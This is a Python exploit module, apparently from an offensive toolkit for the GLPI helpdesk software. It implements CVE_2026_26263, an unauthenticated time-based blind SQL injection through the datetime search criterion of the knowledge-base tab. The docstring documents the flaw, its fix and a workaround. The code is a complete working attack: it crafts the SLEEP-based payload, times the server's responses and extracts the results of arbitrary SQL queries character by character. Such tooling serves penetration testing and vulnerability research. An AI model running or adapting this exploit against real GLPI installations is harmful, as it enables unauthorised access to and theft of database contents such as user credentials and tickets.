import time
from ..exploit import GlpiExploit
from glpwnme.exploits.sql_injection_mixin import SqlInjectionMixin
from glpwnme.exploits.logger import Log


class CVE_2026_26263(GlpiExploit):
    """
    Unauthenticated time-based blind SQL injection via GLPI Search engine (GLPI >= 11.0.0, < 11.0.6).

    The GLPI Search engine's SQLProvider::getWhereCriteria() builds SQL WHERE
    clauses from user-supplied search criteria. For datetime fields, the code
    processes values matching /^\\s*([<>])(=?)(.+)$/ and produces:

        " $date_computation {$regs[1]}{$regs[2]} '{$regs[3]}'"

    where $regs[3] is the raw user input after the comparison operator. Since
    $regs[3] is embedded in single quotes WITHOUT escaping, injecting a quote
    breaks out and executes arbitrary SQL.

    The Knowbase tab 2 ("Browse") in front/helpdesk.faq.php calls
    Search::show('KnowbaseItem'), the full GLPI search engine, reachable WITHOUT
    authentication when public FAQ is enabled (use_public_faq = 1). An
    authenticated user can reach the same sink when public FAQ is off.

    Attack path (via the KB search tab):
        GET /ajax/common.tabs.php?_glpi_tab=Knowbase$2&_itemtype=Knowbase
            &criteria[0][field]=19            (date_mod, datatype=datetime)
            &criteria[0][searchtype]=morethan
            &criteria[0][value]=2027-09-09' OR (SELECT 1 FROM (SELECT IF(<cond>,SLEEP(N),0))z) AND '1'='1

    The injected condition reaches the datetime WHERE clause unescaped. The
    SLEEP fires roughly TWICE per request (the COUNT query and the data query
    both evaluate the criterion), so the observed delay is about 2 * N.

    Fix in 11.0.6 (commit 9926b748): $regs[3] is passed through $DB::quoteValue()
    which escapes the single quote before embedding it in SQL.

    Workaround: disable anonymous FAQ access (use_public_faq = 0); the fix is
    still required for authenticated users.

    @author Zax
    @cvss 8.1
    @name CVE_2026_26263
    """
    _impacts = "SQL Injection, Database Disclosure"
    _privilege = "Unauthenticated"
    _is_check_opsec_safe = False  # the check makes the server SLEEP via SQLi
    min_version = "11.0.0"
    max_version = "11.0.6"

    _FAQ_URL = "/front/helpdesk.faq.php"
    _SLEEP = 1.5
    _THRESHOLD = _SLEEP * 1.5  # real delay is ~2*sleep, so 1.5*sleep cleanly separates TRUE from FALSE

    def _on_before_check(self):
        """Works unauthenticated when public FAQ is enabled; otherwise log in (the same
        datetime sink is reachable authenticated). login_with_credentials raises if no
        credentials were given, so --check-all surfaces the error instead of hiding it."""
        try:
            r = self.get(self._FAQ_URL, allow_redirects=False)
            anon_ok = r.status_code == 200 and "login" not in r.headers.get("Location", "").lower()
        except Exception:
            anon_ok = False
        if not anon_ok:
            self.glpi_session.login_with_credentials()

    def infos(self):
        infos = "[u]Description:[/u]\n"
        infos += "Unauthenticated time-based blind SQL injection via the GLPI Search engine\n"
        infos += "(GLPI 11.0.0 - 11.0.5). [b]front/helpdesk.faq.php[/b] KB search tab invokes\n"
        infos += "[b]Search::show('KnowbaseItem')[/b]; a [b]datetime[/b] criterion value breaks out of\n"
        infos += "[b]SQLProvider::getWhereCriteria()[/b]'s unescaped [i]'{$regs[3]}'[/i]. SLEEP fires\n"
        infos += "~2x per request (COUNT + data query). Unauthenticated with [b]use_public_faq=1[/b],\n"
        infos += "otherwise reachable as any authenticated user.\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Check (unauthenticated when public FAQ is enabled; makes the server sleep)[/]\n"
        infos += "--check --no-opsec\n\n"
        infos += SqlInjectionMixin.get_help_usage()

        infos += "\nExploit makes the server [yellow b]sleep[/] on check (not opsec safe)."
        return infos

    def _inject(self, condition):
        """Send one timed request; the datetime criterion injects the conditional SLEEP.
        searchtype=morethan reaches the datetime branch; the derived-table SLEEP is
        row-count independent; the trailing AND '1'='1 rebalances the template quote."""
        val = f"2027-09-09' OR (SELECT 1 FROM (SELECT IF({condition},SLEEP({self._SLEEP}),0))z) AND '1'='1"
        t0 = time.time()
        try:
            self.get("/ajax/common.tabs.php", params={
                    "_glpi_tab": "Knowbase$2", "_target": self._FAQ_URL,
                    "_itemtype": "Knowbase", "id": "0", "start": "0",
                    "criteria[0][field]": "19",
                    "criteria[0][searchtype]": "morethan",
                    "criteria[0][value]": val,
                }, headers={"X-Requested-With": "XMLHttpRequest"},
                allow_redirects=False, timeout=self._SLEEP * 4 + 15)
        except Exception:
            pass
        return time.time() - t0

    def _probe(self, condition):
        return self._inject(condition) >= self._THRESHOLD

    def check(self):
        # bool only, no CLI output: TRUE condition must delay, FALSE must not
        if self._inject("1=1") < self._THRESHOLD:
            return False
        return self._inject("1=2") < self._THRESHOLD

    def _dichotomy(self, tpl, lo, hi):
        while lo <= hi:
            mid = (lo + hi) // 2
            Log.log(f"Trying: {hex(mid)}", end="\r")
            if self._probe(tpl.format(n=mid)):
                lo = mid + 1
            else:
                hi = mid - 1
        return lo

    def _count_chars(self, sql_expr):
        try_len, prev_len = 20, 0
        for i in range(11):
            if self._probe(f"LENGTH(({sql_expr}))>{try_len}"):
                prev_len = try_len
                try_len *= 2
            elif i == 10:
                return 0
            else:
                break
        return self._dichotomy(f"LENGTH(({sql_expr}))>{{n}}", prev_len, try_len)

    def _extract_char(self, sql_expr, pos):
        return chr(self._dichotomy(f"ASCII(SUBSTR(({sql_expr}),{pos},1))>{{n}}", 0, 127))

    def run(self, sql="SELECT VERSION()", time="1.5"):
        self._SLEEP = float(time)
        self._THRESHOLD = self._SLEEP * 1.5

        Log.msg(f"Extracting: [italic]{sql}[/italic]")
        length = self._count_chars(sql)
        if not length:
            Log.err("Result is empty or query failed - is public FAQ enabled / are creds valid?")
            return

        out = ""
        for i in range(1, length + 1):
            out += self._extract_char(sql, i)
            Log.msg(f"Progress: [gold3]{out}[/]", end="\x1b[K\n")
        Log.msg(f"Result: [green b]{out}[/green b]")
